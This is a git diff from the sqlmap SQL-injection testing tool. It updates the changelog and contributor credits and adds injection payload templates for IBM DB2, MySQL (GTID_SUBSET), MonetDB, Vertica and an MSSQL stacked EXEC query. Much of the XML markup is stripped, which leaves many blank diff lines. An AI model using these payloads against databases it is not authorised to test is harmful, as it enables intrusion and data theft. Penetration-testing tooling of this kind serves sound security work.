a/data/xml/banner/server.xml b/data/xml/banner/server.xml index 2a6fc28e300..a499bcd204d 100644 --- a/data/xml/banner/server.xml +++ b/data/xml/banner/server.xml @@ -10,7 +10,7 @@ - + @@ -74,23 +74,27 @@ - + - + - + - + - + + + + + @@ -131,36 +135,32 @@ - - - - - - - - - + - + - + - + - + - + + + + + @@ -293,6 +293,31 @@ + + + + + + + + + + + + + + + + + + + + + + + + + @@ -407,6 +432,14 @@ + + + + + + + + @@ -587,6 +620,10 @@ + + + + @@ -714,6 +751,14 @@ + + + + + + + + @@ -800,6 +845,22 @@ + + + + + + + + + + + + + + + + diff --git a/data/xml/banner/x-powered-by.xml b/data/xml/banner/x-powered-by.xml index f4a058fe886..34ad03d18c2 100644 --- a/data/xml/banner/x-powered-by.xml +++ b/data/xml/banner/x-powered-by.xml @@ -19,6 +19,22 @@ + + + + + + + + + + + + + + + + diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index 7317fdaf055..fb41a83c093 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -213,6 +213,15 @@ Formats: AND ((('[RANDSTR]' LIKE '[RANDSTR] + + 2 + 1 + 1,2 + 3 + %' + AND '[RANDSTR]%'='[RANDSTR] + + 2 1 diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 4c330de2126..568b61bbe0d 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -1,13 +1,14 @@ - - + + + @@ -15,9 +16,11 @@ + + + - @@ -33,7 +36,6 @@ - @@ -55,7 +57,6 @@ - @@ -64,7 +65,6 @@ - @@ -79,19 +79,18 @@ - - + + - @@ -111,7 +110,6 @@ - @@ -126,15 +124,15 @@ - + + - @@ -144,7 +142,6 @@ - @@ -152,21 +149,72 @@ - - + + + - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/xml/livetests.xml b/data/xml/livetests.xml deleted file mode 100644 index b30b9b290b3..00000000000 --- a/data/xml/livetests.xml +++ /dev/null @@ -1,3648 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index efb9e5cdcbc..67cf9940d10 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -824,7 +824,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -845,7 +844,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -1193,7 +1191,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -1214,7 +1211,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -1332,6 +1328,44 @@ Tag: + + IBM DB2 boolean-based blind - ORDER BY clause + 1 + 4 + 1 + 3 + 1 + ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + +
+ IBM DB2 +
+
+ + + IBM DB2 boolean-based blind - ORDER BY clause (original value) + 1 + 5 + 1 + 3 + 1 + ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + +
+ IBM DB2 +
+
+ HAVING boolean-based blind - WHERE, GROUP BY clause @@ -1452,7 +1486,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -1474,7 +1507,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 410cada6941..f9505522f38 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -91,6 +91,46 @@
+ + MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) + 2 + 4 + 1 + 1,2,3,8,9 + 1 + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+
+ + + MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) + 2 + 4 + 3 + 1,8,9 + 1 + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+
+ MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS) 2 @@ -135,7 +175,7 @@ MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 - 1 + 2 1 1,2,3,8,9 1 @@ -159,7 +199,7 @@ MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 - 1 + 2 3 1,2,3,8,9 @@ -184,7 +224,7 @@ MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 2 - 2 + 1 1 1,2,3,8,9 1 @@ -208,7 +248,7 @@ MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 2 - 2 + 1 3 1,2,3,8,9 @@ -282,7 +322,7 @@ MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 - 2 + 3 1 1,2,3,8,9 1 @@ -307,7 +347,7 @@ MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR) 2 - 2 + 3 3 1,8,9 1 @@ -332,7 +372,7 @@ MySQL OR error-based - WHERE or HAVING clause (FLOOR) 2 - 3 + 4 3 1,8,9 2 @@ -404,7 +444,6 @@
Microsoft SQL Server Sybase - Windows
@@ -425,7 +464,6 @@
Microsoft SQL Server Sybase - Windows
@@ -446,7 +484,6 @@
Microsoft SQL Server Sybase - Windows
@@ -467,7 +504,6 @@
Microsoft SQL Server Sybase - Windows
@@ -488,7 +524,6 @@
Microsoft SQL Server Sybase - Windows
@@ -509,7 +544,6 @@
Microsoft SQL Server Sybase - Windows
@@ -672,7 +706,7 @@ 2 3 1 - 1,9 + 1 1 AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -689,9 +723,9 @@ Firebird OR error-based - WHERE or HAVING clause 2 - 3 + 4 3 - 1,9 + 1 2 OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -704,6 +738,121 @@ Firebird + + + MonetDB AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+
+ + + MonetDB OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 2 + OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+
+ + + Vertica AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+
+ + + Vertica OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 2 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+
+ + + IBM DB2 AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+
+ + + IBM DB2 OR error-based - WHERE or HAVING clause + 2 + 4 + 1 + 1 + 1 + OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+
+ @@ -1029,6 +1215,26 @@
+ + MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET) + 2 + 5 + 1 + 2,3 + 1 + ,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + ,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+
+ MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS) 2 @@ -1052,7 +1258,7 @@ MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR) 2 - 3 + 4 1 2,3 1 @@ -1072,7 +1278,7 @@ MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE) 2 - 4 + 3 1 2,3 1 @@ -1112,7 +1318,7 @@ MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR) 2 - 2 + 3 1 2,3 1 @@ -1129,7 +1335,6 @@ - PostgreSQL error-based - ORDER BY, GROUP BY clause 2 @@ -1185,7 +1390,6 @@
Microsoft SQL Server Sybase - Windows
@@ -1213,7 +1417,7 @@ 2 5 1 - 2,3 + 3 1 ,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) @@ -1226,9 +1430,51 @@ Firebird
+ + + IBM DB2 error-based - ORDER BY clause + 2 + 5 + 1 + 3 + 1 + ,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+
+ + + + Microsoft SQL Server/Sybase error-based - Stacking (EXEC) + 2 + 2 + 1 + 1-8 + 1 + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR] + + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR] + -- + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+
+ diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml index b49d538346b..a05b1c84eec 100644 --- a/data/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -3,19 +3,31 @@ - MySQL inline queries + Generic inline queries 3 1 1 1,2,3,8 3 + (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]')) + + (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + + + + + MySQL inline queries + 3 + 2 + 1 + 1,2,3,8 + 3 (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + (SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -28,7 +40,7 @@ PostgreSQL inline queries 3 - 1 + 2 1 1,2,3,8 3 @@ -47,13 +59,13 @@ Microsoft SQL Server/Sybase inline queries 3 - 1 + 2 1 1,2,3,8 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') - (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') + (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -61,7 +73,6 @@
Microsoft SQL Server Sybase - Windows
@@ -74,7 +85,8 @@ 3 (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) - (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL) + + (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -93,7 +105,7 @@ 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' - SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]' + SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml index 4b70384beb9..b7df99fdaec 100644 --- a/data/xml/payloads/stacked_queries.xml +++ b/data/xml/payloads/stacked_queries.xml @@ -264,7 +264,6 @@
Microsoft SQL Server Sybase - Windows
@@ -286,7 +285,6 @@
Microsoft SQL Server Sybase - Windows
@@ -307,7 +305,6 @@
Microsoft SQL Server Sybase - Windows
@@ -328,7 +325,6 @@
Microsoft SQL Server Sybase - Windows
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index d9cdb6c8cf3..033d9fd37fc 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -588,7 +588,6 @@
Microsoft SQL Server Sybase - Windows
@@ -610,7 +609,6 @@
Microsoft SQL Server Sybase - Windows
@@ -631,7 +629,6 @@
Microsoft SQL Server Sybase - Windows
@@ -652,7 +649,6 @@
Microsoft SQL Server Sybase - Windows
@@ -674,7 +670,6 @@
Microsoft SQL Server Sybase - Windows
@@ -696,7 +691,6 @@
Microsoft SQL Server Sybase - Windows
@@ -1638,7 +1632,6 @@
Microsoft SQL Server Sybase - Windows
@@ -1936,7 +1929,6 @@
Microsoft SQL Server Sybase - Windows
diff --git a/data/xml/queries.xml b/data/xml/queries.xml index d2ac995be48..b61bdb7c654 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1,7 +1,6 @@ - @@ -30,8 +29,8 @@ - - + + @@ -45,7 +44,7 @@ - + @@ -78,11 +77,11 @@ - - + - + + @@ -108,7 +107,7 @@ - + @@ -124,36 +123,35 @@ - - + + - + - - + + - - + + - - + + - @@ -200,11 +198,11 @@ - - + + - + @@ -225,7 +223,6 @@ - @@ -304,8 +301,8 @@ - - + + @@ -322,7 +319,6 @@ - @@ -361,7 +357,7 @@ - + @@ -376,7 +372,6 @@ - @@ -421,7 +416,6 @@ - @@ -451,8 +445,8 @@ - - + + @@ -462,9 +456,9 @@ - - - + + + @@ -472,18 +466,15 @@ - - + + - + + + + - - - - - - @@ -499,12 +490,12 @@ - + - - + + @@ -531,12 +522,15 @@ - + + + + + - @@ -606,7 +600,6 @@ - @@ -631,7 +624,7 @@ - + @@ -679,7 +672,6 @@ - @@ -696,7 +688,8 @@ - + + @@ -704,7 +697,7 @@ - + @@ -763,7 +756,7 @@ - + @@ -813,9 +806,6 @@ - - - @@ -832,7 +822,8 @@ - + + @@ -876,4 +867,763 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + /> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 95eb8678ecf..baafaeed098 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,14 +1,22 @@ +# Version 1.4 (2020-01-01) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1) + # Version 1.3 (2019-01-05) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1) # Version 1.2 (2018-01-08) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1) # Version 1.1 (2017-04-07) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1) # Version 1.0 (2016-02-27) diff --git a/doc/THANKS.md b/doc/THANKS.md index 65fbc2fcfa7..0fe779b7682 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -112,6 +112,9 @@ Alessio Dalla Piazza, Sherif El-Deeb, * for reporting a minor bug +Thomas Etrillard, +* for contributing the IBM DB2 error-based payloads (RAISE_ERROR) + Stefano Di Paola, * for suggesting good features @@ -317,6 +320,9 @@ Michael Majchrowicz, Vinícius Henrique Marangoni, * for contributing a Portuguese translation of README.md +Francesco Marano, +* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload + Ahmad Maulana, * for contributing a tamper script halfversionedmorekeywords.py @@ -486,6 +492,9 @@ Marek Sarvas, Philippe A. R. Schaeffer, * for reporting a minor bug +Henri Salo +* for a donation + Mohd Zamiri Sanin, * for reporting a minor bug diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index eca318269ac..04d558f613c 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement. * The `bottle` web framework library located under `thirdparty/bottle/`. Copyright (C) 2012, Marcel Hellkamp. * The `identYwaf` library located under `thirdparty/identywaf/`. - Copyright (C) 2019, Miroslav Stampar. + Copyright (C) 2019-2020, Miroslav Stampar. * The `ordereddict` library located under `thirdparty/odict/`. Copyright (C) 2009, Raymond Hettinger. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md new file mode 100644 index 00000000000..df787f72dc7 --- /dev/null +++ b/doc/translations/README-fa-IR.md @@ -0,0 +1,84 @@ +# 